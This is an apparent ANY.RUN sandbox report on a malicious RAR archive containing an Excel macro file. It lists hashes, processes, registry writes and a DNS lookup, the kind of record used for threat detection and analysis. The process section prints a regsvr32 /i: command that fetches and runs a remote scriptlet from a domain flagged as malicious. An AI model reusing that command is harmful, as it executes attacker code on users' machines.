Malware analysis C:\Users\admin\AppData\Local\Temp\test.rar Malicious activity

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File name:	C:\Users\admin\AppData\Local\Temp\test.rar
Full analysis:	https://app.any.run/tasks/7a8bc44e-5eef-41ff-9f33-bd94506e13f1
Verdict:	Malicious activity
Analysis date:	July 17, 2019, 13:17:10
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	application/x-rar
File info:	RAR archive data, v5
MD5:	E31D4EA311027C3A9886C91F86CA28F5
SHA1:	446F0E9109F3380F639B89D714DEBED9AE48253F
SHA256:	007043E4B319ED65F3A332BB1543E556562B2E7CA14EA706D41284EE0D5C873C
SSDEEP:	768:U7W2u0rCxdt5MSxUl/NDgLoB0WDnKWNPh7cb9EEy/cZl4:/wWF5MSal/N7OW7Ph7cuEy/a4

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (75.0.3770.100)
Google Update Helper (1.3.34.7)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.7.2 (4.7.03062)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
Mozilla Firefox 67.0.4 (x86 en-US) (67.0.4)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB4019990
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Runs remote scriptlet
  - EXCEL.EXE (PID: 3312)
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 3312)
SUSPICIOUS
- Starts Microsoft Office Application
  - WinRAR.exe (PID: 2880)
INFO
- Manual execution by user
  - regsvr32.exe (PID: 4020)
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 3312)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.rar	\|	RAR compressed archive (v5.0) (61.5)
.rar	\|	RAR compressed archive (gen) (38.4)

No data.

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All screenshots are available in the full report

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Total processes

39

Monitored processes

4

Malicious processes

2

Suspicious processes

0

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2880

"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\test.rar"

C:\Program Files\WinRAR\WinRAR.exe

—

explorer.exe

User:

admin

Company:

Alexander Roshal

Integrity Level:

MEDIUM

Description:

WinRAR archiver

Exit code:

0

Version:

5.60.0

Modules

Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll

3312

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

WinRAR.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

0

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

3508

regsvr32 /s /n /u /i:https://cdn-4imprint.ddns.net:443/adServingData/PROD/TMClient/6/8736/_rg scrobj.dll

C:\Windows\system32\regsvr32.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft(C) Register Server

Exit code:

5

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

4020

"C:\Windows\System32\regsvr32.exe" /s /n /u /i:https://cdn-4imprint.ddns.net:443/adServingData/PROD/TMClient/6/8736/_rg scrobj.dll

C:\Windows\System32\regsvr32.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft(C) Register Server

Exit code:

5

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

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Total events

1 171

Read events

1 097

Write events

67

Delete events

7

Modification events


(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtBMP
Value:
(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:	write	Name:	ShellExtIcon
Value:
(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\70\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:	write	Name:	0
Value: C:\Users\admin\AppData\Local\Temp\test.rar
(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	name
Value: 120
(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	size
Value: 80
(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	type
Value: 120
(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	mtime
Value: 100
(PID) Process:	(2880) WinRAR.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	EXCELFiles
Value: 1324417041
(PID) Process:	(3312) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	z2$
Value: 7A322400F00C0000010000000000000000000000

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Executable files

0

Suspicious files

1

Text files

0

Unknown types

0

Dropped files

PID	Process	Filename		Type
3312	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVRC6DA.tmp.cvr		—
		MD5:—	SHA256:—
2880	WinRAR.exe	C:\Users\admin\AppData\Local\Temp\Rar$DIa2880.46247\test.xlsm		document
		MD5:—	SHA256:—

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HTTP(S) requests

0

TCP/UDP connections

0

DNS requests

1

Threats

0

HTTP requests

No HTTP requests

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Connections

No data

DNS requests

Domain	IP	Reputation
cdn-4imprint.ddns.net	—	malicious

Threats

No threats detected

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No debug info

General Info

C:\Users\admin\AppData\Local\Temp\test.rar

E31D4EA311027C3A9886C91F86CA28F5

446F0E9109F3380F639B89D714DEBED9AE48253F

007043E4B319ED65F3A332BB1543E556562B2E7CA14EA706D41284EE0D5C873C

768:U7W2u0rCxdt5MSxUl/NDgLoB0WDnKWNPh7cb9EEy/cZl4:/wWF5MSal/N7OW7Ph7cuEy/a4

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Runs remote scriptlet

Unusual execution from Microsoft Office

SUSPICIOUS

Starts Microsoft Office Application

INFO

Manual execution by user

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings